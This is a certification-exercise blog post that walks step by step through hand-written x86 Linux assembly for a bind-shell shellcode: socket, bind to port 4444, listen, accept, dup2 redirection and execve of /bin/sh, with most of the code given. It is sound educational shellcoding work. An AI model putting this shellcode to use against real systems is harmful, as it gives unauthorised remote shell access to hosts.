x86 Assembly Language and Shellcoding on Linux

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Goal

The goal of this assignment is to craft my own version of linux/shell_bind_tcp. This means that our shellcode simply opens up a port on the target host and returns a shell on the assigned port.

How it works

To understand how it works, let’s break it down to steps:

  1. Create a socket file descriptor that we can use for communication
  2. Bind address and port to the socket file descriptor
  3. Listen on the defined socket
  4. Accept incoming connection(s)
  5. Connect stdin, stdout and stderr to socket
  6. Execute /bin/sh

Assembly code

For the embedded code, I removed most of the inline comments. If you want to check out the full source code with all the comments, feel free to do it on my Github.

Initializing

The first step is to initialize the registers to make sure that we start from a clear state when the shellcode is executed. Why? Because there could be some leftover data remaining in the registers, which can lead to unexpected behaviour. I XORd the EAX register with itself and moved it’s value into the other registers. You can also XOR out the others or instead of moving POP a 0x00 value from the stack.

_start:
xor eax, eax
mov ebx, eax
mov ecx, eax
mov edi, eax

Socket

Next, we need to create the socket file descriptor. For this, I used the socket() syscall with the SYS_SOCKET socket call. This creates a socket file descriptor and gives back the file handler as the return value. My favorite reference for syscalls is syscalls.kernelgrok.com which shows what each register needs to contain for the given syscall. Upon looking at the reference, we can see that for the sys_socketcall we need to set EAX to 0x66 (102), specify the call in EBX and pass the references in ECX.

For the first socket call (SYS_SOCKET), I needed to specify the domain (protocol family aka IPv4) AF_INET - 0x2, the type (TCP) SOCK_STREAM - 0x1 and the protocol, which in this case is 0x0 as we accept any protocol. To set up the call, I first moved 0x66 into the EAX register for the sys_socketcall, then I incremented the EBX register by one to contain the value of the SYS_SOCKET call. Then I pushed the value of the arguments in reverse order and stored the address in ECX. ECX was XORed out from before so it contained 0x00, EBX is 0x1 because of SYS_SOCKET so this was used for the type argument, while for AF_INET I pushed 0x2 byte on the stack.

socket:
mov al, 0x66 ; 102 sys_socketcall

inc bl ; SYS_SOCKET 1 

push ecx ; 0x0 - any - int protocol
push ebx ; 0x1 - SOCK_STREAM - int type
push byte 0x2 ; 0x2 - PF_INET/AF_INET - int domain

mov ecx, esp ; store argument address in ecx

int 0x80 ; sys_socketcall

Bind

After I created the socket, I needed to bind the socket to a port and address. For this I used the same socketcall() syscall as before, but now with the SYS_BIND function call. I first saved the value of EAX into ESI as it contained the file descriptor that the socket call returned, then I moved the value 0x66 into EAX for the socketcall and 0x2 into EBX for SYS_BIND.

The arguments of SYS_BIND is a tad more confusing as the function call requires the sockaddr in a struct format. I first pushed 0x00 on the stack, then 0x5c11 for the port (network byte order), 0x2 for sin_family - AF_INET, byte 16 for the addrlen and the ESI register as sockfd. After setting up the arguments, I moved ESP into ECX and called the syscall interrupt.

bind:
mov esi, eax ; mov file descriptor from eax into esi after syscall
mov al, 0x66 ; 102 sys_socketcall - eax was overwritten by the file descriptor

pop ebx  
pop edi

xor edx, edx ; xor out edx
push edx ; struct in_addr 0.0.0.0

push word 0x5c11; port 4444 in network endian format
push word bx ; 0x2, sin_family - AF_INET- bx same value as SYS_BIND
push byte 16 ; socketlen_t addrlen 16 bit
push ecx ; push sockaddr pointer to ecx

push esi ; int sockfd
mov ecx, esp ; store argument address in ecx

int 0x80 ; sys_socketcall

Listen

Nothing exciting happened here, I moved 0x66 into EAX for sys_socketcall and 0x4 into SYS_LISTEN for the function call.

listen:

mov al, 0x66 ; 102 sys_socketcall
mov bl, 0x4 ; 0x4 - SYS_LISTEN
pop edx ; fetch sockfd from stack

int 0x80 ; sys_socketcall

Accept

SYS_ACCEPT requires a similar argument like SYS_BIND, but as we are accepting connections from anyone, I had a much easier time setting this up. I XOR’d EAX and pushed it’s 0x00 value on the stack twice, first for the addrlen and then for sockaddr. After that I set up the interrupt for the syscall: 0x66 -> EAX, 0x5 -> EBX. The file descriptor is required for the function call so I pushed it on the stack and initiated the interrupt.

accept:

xor eax, eax ; null out eax so we can push nulls
push eax ; socklen_t *addrlen => null
push eax ; sockaddr *addr => null

mov al, 0x66 ; 102 sys_socketcall
mov bl, 0x5 ; 0x5 SYS_ACCEPT

push edx ; push sockfd to stack for accept()
mov ecx, esp ; store argument address in ecx
int 0x80 ; sys_socketcall

Duplicate

In this section of the shellcode we bind together stdin, stdout, stderr and the socket file descriptor. I first swapped out EAX and EBX, so EBX points to the file descriptor. After that I zeroed out ECX as a start value for the loop.

duplicate:        
xchg eax, ebx ; move fdescriptor from accept into ebx for oldfd
xor ecx, ecx ; zero out ecx for counter

The loop portion of the code moves 0x3f into EAX, calls the interrupt, increments ECX (loop counter), compares ECX with 0x3 and jumps back to the start of the loop if ECX is not equal to 3. What this means in practice is that it calls the dup2 system call on our socket with stdin, stdout and stderr.

dup2:
mov al, 0x3f ; int dup2 - 63 in hex
int 0x80 ; dup2 syscall
inc cl ; increment loop register
cmp ecx, 0x3 ; compare ecx 0x3 
jne dup2 ; if ecx != 3 continue looping

Execve

In the last part of the shellcode, we spawn /bin/sh. The code is straight out from the previous execve stack exercise without any major changes. We need to push //bin/sh0x0 onto the stack for EBX, the memory adress of //bin/sh,0x0 for ECX and 0x0 for EDX.

execsh:

xor eax, eax ; null out eax
push eax ; null byte

push 0x68732f6e ; hs/n
push 0x69622f2f ; ib//

mov ebx, esp ; move stack pointer into ebx
push eax ; push another null for the sys argv
mov edx, esp ; sysargv arguments - address as above, but now with extra null bytes
push ebx ; push address of the program name -> //bin/sh0x00
mov ecx, esp ; arguments

mov al, 11 ; execve syscall
int 0x80 ; call execve

Call graph

Here is the graph call for the shellcode. As libemu crashed on my machine every time, I had used radare2 and Cutter to export the call graph.

Graph call in Cutter

Shell

Launching the shellcode on port 1337 in the compiled C test program and connecting to it with netcat.

x86 Assembly Language and Shellcoding on Linux

Shellcode generator

I also made a short shellcode generator script in Python3 to make custom port payloads easier. It can be found on my Github repository. Using it is really easy, it takes one argument (port) and echoes out the modified shellcode to stdout. The way it works is very simple, it transforms the port into hex and replaces the port in the hardcoded shellcode. There are a few validation rules, but doesn’t check for null or other badchars. I plan to make a Python exploit library that will do it for me automatically, but until then manual verification is required.

Final Thoughts

I learned A LOT during this assignment, I spent long-long hours duckduckgoing (sorry!) and figuring out things, but only a couple of hours with actual coding. I feel like this assignment would have been better with a few pointers/references for those who don’t know in-depth Linux. Regardless of this, it was a challenge and I’m happy that I did it.

Again, all the code is on my Github and if you want to be informed about new posts, just follow me on Twitter at @fuzboxz.